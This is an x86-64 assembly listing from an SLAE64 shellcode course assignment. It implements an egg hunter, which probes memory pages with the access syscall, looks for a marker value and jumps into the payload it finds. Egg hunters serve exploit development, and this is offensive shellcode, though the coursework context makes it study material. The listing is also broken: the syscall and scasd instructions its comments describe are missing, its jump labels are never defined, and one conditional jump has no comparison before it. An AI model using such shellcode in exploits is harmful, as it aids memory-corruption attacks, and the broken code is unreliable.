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; SLAE64 assignment 3
; by Jasper Lievisse Adriaanse
; Student ID: SLAE64-1614
global _start
section .text
xor rdx, rdx
or dx, 0xfff ; prevent any NULLs when encoding 4096 bytes for PAGE_SIZE (0xfff = 4095)
inc rdx ; increment rdx to get the next valid page
; Use the access(2) syscall to poke memory, if it returns EFAULT
; we know this particular page isn't mapped or we're not allowed
; to access it. In that case we move on to the next page.
; Otherwise we compare the first dword with our marker.
; syscall:
; access: 21 on Linux/x86_64
; arguments:
; %rdi: address to check
; %rsi: F_OK (meaning the page "exists")
; return value:
; %rax: EFAULT in case the page doesn't exit; 0 otherwise.
lea rdi, [rdx+8]
xor rax, rax
push rax
push 21
pop rax
pop rsi
; Now compare the return value in %rax with EFAULT (0xf2)
cmp al, 0xf2
; If they match move to the next page.
jz next_page
; Otherwise move our egg into rax for comparison
mov rax, 0x50905090
; Setup %rdi for next scasc call which expects it's operands in %rax and %rdi
mov rdi, rdx
; Move the next address no match
jnz next_address
; Otherwise test again as we may have run into our own egg encoded above
; Again, move to the next address if there's no match this time
jnz next_address
; If we got here, we have found our payload. So jump right to into it!
jmp rdi